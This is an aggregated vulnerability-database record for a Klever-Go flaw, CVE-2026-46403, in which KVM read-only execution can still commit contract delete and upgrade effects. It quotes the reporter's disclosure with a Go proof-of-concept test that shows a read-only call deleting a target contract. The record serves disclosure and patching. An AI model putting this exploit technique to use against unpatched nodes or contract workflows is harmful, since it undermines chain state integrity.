{"id":"GHSA-jc6w-wmfc-fh33","revision":null,"records":[{"revision":"7067a6e7683842febd3b1dc5d07e328e","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-46403","aliases":[],"title":"Klever-Go KVM read-only execution can commit contract delete and upgrade side effects","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.17, KVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnly(true)`, executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when `runtime.ReadOnly()` is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to `vmOutput.DeletedAccounts`, the output context merges `DeletedAccounts` into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field. The root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output. The issue is fixed in v1.7.17. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.","state":0,"publishedAt":"2026-07-21T19:51:18.745+00:00","modifiedAt":"2026-07-22T14:28:22.326+00:00","affected":[{"ecosystem":"Vendor product","name":"klever-go","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"klever-io\",\n                    \"product\": \"klever-go\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.7.17\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N","score":6.3,"severity":"MEDIUM"}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-jc6w-wmfc-fh33","https://github.com/klever-io/klever-go/commit/333f6ec910906e227705fc5767dc897d8fbfc862","https://github.com/klever-io/klever-go/commit/68b94a40824fac2d848a4ded6eb7c91ada6ce9ef"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46403","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-46403","identifiers":["CVE-2026-46403"]},"retained":false,"historicalAffected":[]},{"revision":"3d7ebe396762426e80f35ff5b074d824","observedAt":"2026-11-07T10:37:25.779+00:00","statement":{"source":"euvd","id":"EUVD-2026-46390","aliases":["CVE-2026-46403","GHSA-jc6w-wmfc-fh33"],"title":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.17, KVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnl…","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.17, KVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnly(true)`, executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when `runtime.ReadOnly()` is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to `vmOutput.DeletedAccounts`, the output context merges `DeletedAccounts` into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field. The root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output. The issue is fixed in v1.7.17. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N","score":6.3,"severity":null}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-jc6w-wmfc-fh33","https://github.com/klever-io/klever-go/commit/333f6ec910906e227705fc5767dc897d8fbfc862","https://github.com/klever-io/klever-go/commit/68b94a40824fac2d848a4ded6eb7c91ada6ce9ef"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-46390","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 21, 2026, 7:51:18 PM","dateUpdated":"Jul 22, 2026, 2:28:22 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-46390","identifiers":["EUVD-2026-46390","CVE-2026-46403","GHSA-jc6w-wmfc-fh33"]},"retained":false,"historicalAffected":[]},{"revision":"f87fb1e60fa04e27bcb1d34637cc7b0d","observedAt":"2026-10-25T12:17:14.897+00:00","statement":{"source":"nvd","id":"CVE-2026-46403","aliases":[],"title":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.17, KVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnl…","description":"Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.17, KVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnly(true)`, executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when `runtime.ReadOnly()` is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to `vmOutput.DeletedAccounts`, the output context merges `DeletedAccounts` into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field. The root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output. The issue is fixed in v1.7.17. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.","state":0,"publishedAt":"2026-07-21T20:17:01.067+00:00","modifiedAt":"2026-10-24T19:10:00.127+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N","score":6.3,"severity":"MEDIUM"}],"references":["https://github.com/klever-io/klever-go/commit/333f6ec910906e227705fc5767dc897d8fbfc862","https://github.com/klever-io/klever-go/commit/68b94a40824fac2d848a4ded6eb7c91ada6ce9ef","https://github.com/klever-io/klever-go/security/advisories/GHSA-jc6w-wmfc-fh33"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46403","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-693"],"productCriteria":[],"sourceDates":{"published":"2026-07-21T20:17:01.067","lastModified":"2026-10-24T19:10:00.127"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-46403","identifiers":["CVE-2026-46403"]},"retained":false,"historicalAffected":[]},{"revision":"57a0cd5f8c20446fab9f46214087e4df","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-jc6w-wmfc-fh33","aliases":["CVE-2026-46403","GO-2026-5461"],"title":"Klever-Go KVM read-only execution can commit contract delete and upgrade side effects","description":"## Publisher note\n\n**Fixed in `v1.7.17`.** Operators running `< v1.7.17` should upgrade. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.\n\nPatch commits on `develop`: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory).\n\nThis advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under [GHSA-74m6-4hjp-7226](https://github.com/klever-io/klever-go/security/advisories/GHSA-74m6-4hjp-7226) so each issue receives its own CVE.\n\nThe original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.\n\n---\n\n# Private Vulnerability Report\n\nRepository: klever-io/klever-go\nReviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2\nDisclosure channel: GitHub Private Vulnerability Reporting\nReporter GitHub account: LoGGGG240211\n\n## 2.2 KVM read-only execution can commit contract delete side effects\n\nSeverity            : Medium\nConfidence          : HIGH\nAttack Complexity   : MEDIUM\nPoC Status          : Confirmed\n\n### Description\n\nKVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnly(true)`, executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when `runtime.ReadOnly()` is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to `vmOutput.DeletedAccounts`, the output context merges `DeletedAccounts` into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field.\n\nThe root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output.\n\n### Location\n\n1. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2097)\n2. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2099)\n3. [execution.go, doExecContractDelete(), line 237](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L237)\n4. [execution.go, doExecContractDelete(), line 246](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L246)\n5. [execution.go, executeUpgrade(), line 792](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L792)\n6. [execution.go, executeUpgrade(), line 831](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L831)\n7. [execution.go, executeDelete(), line 839](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L839)\n8. [execution.go, executeDelete(), line 849](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L849)\n9. [output.go, PopMergeActiveState(), line 103](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L103)\n10. [output.go, mergeVMOutputs(), line 615](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L615)\n11. [process.go, processVMOutput(), line 755](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L755)\n12. [process.go, processVMOutput(), line 765](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L765)\n\n### Preconditions\n\n1. A contract workflow invokes a callee through KVM read-only execution.\n2. The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract.\n3. The target contract is upgradeable/deletable according to its KVM code metadata.\n4. No node operator privilege, validator role, oracle condition, or block-level timing condition is required.\n\n### Impact\n\nSuccessful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that `DeletedAccounts` changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner.\n\n### Exploit Cost\n\nThe cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above.\n\n### Steps to Reproduce\n\n1. Place `poc_kvm_readonly_delete_side_effect_test.go` in an empty directory.\n2. Run the dependency commands listed in the PoC header.\n3. Run `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go`.\n4. Observe that the parent contract invokes a child contract through `ExecuteReadOnlyWithTypedArguments`.\n5. Observe that the child contract uses the production managed delete hook against a target contract it owns.\n6. Observe that the final VM output contains the target address in `DeletedAccounts` despite the delete action being triggered through read-only execution.\n\n### Proof-of-Concept Result\n\nRunning `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go` after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output.\n\n```text\n# command-line-arguments.test\n/usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack\n/usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker\n=== RUN   TestPoC_KVMReadOnlyCanCommitDeleteSideEffect\n    poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0\n    poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1\n    poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true\n--- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s)\nPASS\nok  \tcommand-line-arguments\t0.007s\n```\n\n### Suggested Fix\n\nEnforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when `runtime.ReadOnly()` is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.\n\n## Proof-of-Concept Source\n\n### poc_kvm_readonly_delete_side_effect_test.go\n\n```go\npackage poc\n\n/*\nTarget contract   : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address\nVulnerability     : Read-only execution isolation bypass with contract delete side effect\nSeverity          : Medium\nHow to run        : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go\nExpected output   : The test passes and logs deleted_accounts_after=1 and target_deleted=true\nDependencies      : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go get github.com/stretchr/testify@v1.11.1; go mod tidy\n*/\n\nimport (\n\t\"testing\"\n\n\tcontextmock \"github.com/klever-io/klever-go/kvm/mock/context\"\n\tworldmock \"github.com/klever-io/klever-go/kvm/mock/world\"\n\ttest \"github.com/klever-io/klever-go/kvm/testcommon\"\n\t\"github.com/klever-io/klever-go/kvm/vmhost/vmhooks\"\n\t\"github.com/klever-io/klever-go/vmcommon\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) {\n\t// Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract.\n\ttargetAddress := test.MakeTestSCAddressWithDefaultVM(\"readonlyTarget\")\n\n\t// Record the initial delete side-effect state before any read-only execution occurs.\n\tdeletedBefore := make([][]byte, 0)\n\trequire.NotContains(t, deletedBefore, targetAddress)\n\n\tvmOutput, err := test.BuildMockInstanceCallTest(t).\n\t\tWithContracts(\n\t\t\t// The parent contract models the transaction entrypoint controlled by a user or contract workflow.\n\t\t\ttest.CreateMockContract(test.ParentAddress).\n\t\t\t\tWithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) {\n\t\t\t\t\tparentInstance.AddMockMethod(\"callReadOnlyChild\", func() *contextmock.InstanceMock {\n\t\t\t\t\t\thost := parentInstance.Host\n\n\t\t\t\t\t\t// The parent invokes the child through ExecuteReadOnly, which should not commit state effects.\n\t\t\t\t\t\tresult := vmhooks.ExecuteReadOnlyWithTypedArguments(\n\t\t\t\t\t\t\thost,\n\t\t\t\t\t\t\t100000,\n\t\t\t\t\t\t\t[]byte(\"deleteTarget\"),\n\t\t\t\t\t\t\ttest.ChildAddress,\n\t\t\t\t\t\t\tnil,\n\t\t\t\t\t\t)\n\t\t\t\t\t\trequire.Equal(t, int32(0), result)\n\n\t\t\t\t\t\treturn parentInstance\n\t\t\t\t\t})\n\t\t\t\t}),\n\t\t\t// The child contract is called in read-only mode but attempts to delete a contract it owns.\n\t\t\ttest.CreateMockContract(test.ChildAddress).\n\t\t\t\tWithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) {\n\t\t\t\t\tchildInstance.AddMockMethod(\"deleteTarget\", func() *contextmock.InstanceMock {\n\t\t\t\t\t\thost := childInstance.Host\n\t\t\t\t\t\tmanagedTypes := host.ManagedTypes()\n\n\t\t\t\t\t\t// Encode the target address and call the production ManagedDeleteContract hook.\n\t\t\t\t\t\tdestHandle := managedTypes.NewManagedBufferFromBytes(targetAddress)\n\t\t\t\t\t\targsHandle := managedTypes.NewManagedBuffer()\n\t\t\t\t\t\tmanagedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle)\n\n\t\t\t\t\t\tvmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle)\n\n\t\t\t\t\t\treturn childInstance\n\t\t\t\t\t})\n\t\t\t\t}),\n\t\t\t// The target contract is upgradeable/deletable and owned by the read-only child.\n\t\t\ttest.CreateMockContract(targetAddress).\n\t\t\t\tWithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}).\n\t\t\t\tWithOwnerAddress(test.ChildAddress).\n\t\t\t\tWithMethods(),\n\t\t).\n\t\t// Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly.\n\t\tWithInput(test.CreateTestContractCallInputBuilder().\n\t\t\tWithRecipientAddr(test.ParentAddress).\n\t\t\tWithGasProvided(500000).\n\t\t\tWithFunction(\"callReadOnlyChild\").\n\t\t\tBuild()).\n\t\tAndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {})\n\n\trequire.NoError(t, err)\n\n\t// The read-only nested call must not create delete side effects, but the vulnerable implementation does.\n\tdeletedAfter := vmOutput.DeletedAccounts\n\trequire.Greater(t, len(deletedAfter), len(deletedBefore))\n\trequire.Contains(t, deletedAfter, targetAddress)\n\n\tt.Logf(\"deleted_accounts_before=%d\", len(deletedBefore))\n\tt.Logf(\"deleted_accounts_after=%d\", len(deletedAfter))\n\tt.Logf(\"target_deleted=%t\", true)\n}\n```","state":0,"publishedAt":"2026-05-21T16:53:32+00:00","modifiedAt":"2026-06-25T23:11:17.0975203+00:00","affected":[{"ecosystem":"Go","name":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.7.17"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-jc6w-wmfc-fh33","https://github.com/klever-io/klever-go/commit/333f6ec910906e227705fc5767dc897d8fbfc862","https://github.com/klever-io/klever-go/commit/68b94a40824fac2d848a4ded6eb7c91ada6ce9ef","https://github.com/klever-io/klever-go"],"sourceUrl":"https://github.com/advisories/GHSA-jc6w-wmfc-fh33","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-jc6w-wmfc-fh33","identifiers":["GHSA-jc6w-wmfc-fh33","CVE-2026-46403","GO-2026-5461"]},"retained":false,"historicalAffected":[]},{"revision":"92ef4d96f8a043328488576fdab005f0","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5461","aliases":["CVE-2026-46403","GHSA-jc6w-wmfc-fh33"],"title":"Klever-Go KVM read-only execution can commit contract delete and upgrade side effects in github.com/klever-io/klever-go","description":"Klever-Go KVM read-only execution can commit contract delete and upgrade side effects in github.com/klever-io/klever-go","state":0,"publishedAt":"2026-06-25T22:34:31+00:00","modifiedAt":"2026-06-25T23:01:14.0013975+00:00","affected":[{"ecosystem":"Go","name":"github.com/klever-io/klever-go","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.7.17"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/klever-io/klever-go/security/advisories/GHSA-jc6w-wmfc-fh33","https://github.com/klever-io/klever-go/commit/333f6ec910906e227705fc5767dc897d8fbfc862","https://github.com/klever-io/klever-go/commit/68b94a40824fac2d848a4ded6eb7c91ada6ce9ef"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5461","license":"OSV · upstream source license applies","key":"osv:GO-2026-5461","identifiers":["GO-2026-5461","CVE-2026-46403","GHSA-jc6w-wmfc-fh33"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T22:52:13.5566143+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T22:52:13.5566143+00:00","lastSuccessAt":"2026-11-07T22:52:13.7321274+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.7321285+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5c528217d29c5c98b43a1b5cb9374bfc12e416181b0a739875f92516cb8a8a5e","complete":true,"records":420948,"lastAttemptAt":"2026-11-07T22:52:12.9854034+00:00","lastSuccessAt":"2026-11-07T22:52:12.8993102+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:12.9854034+00:00","snapshotPublishedAt":"2026-11-07T22:22:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dbacfbec4fd946d19a6e298e52e60834","complete":false,"records":13633,"lastAttemptAt":"2026-11-07T22:53:15.8229094+00:00","lastSuccessAt":"2026-11-07T22:53:15.819+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:53:15.819+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13674,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T22:52:13.5566143+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T22:52:13.5566143+00:00","lastSuccessAt":"2026-11-07T22:52:13.7328786+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.7328787+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e0026f7679544d118882d7f7d52e10c2","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T22:52:39.2626518+00:00","lastSuccessAt":"2026-11-07T22:52:39.256+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:39.256+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T22:52:13.4112712+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.4112712+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T22:52:13.1710092+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.1710092+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T22:52:13.522543+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.522543+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T22:52:13.2901378+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:52:13.2901378+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}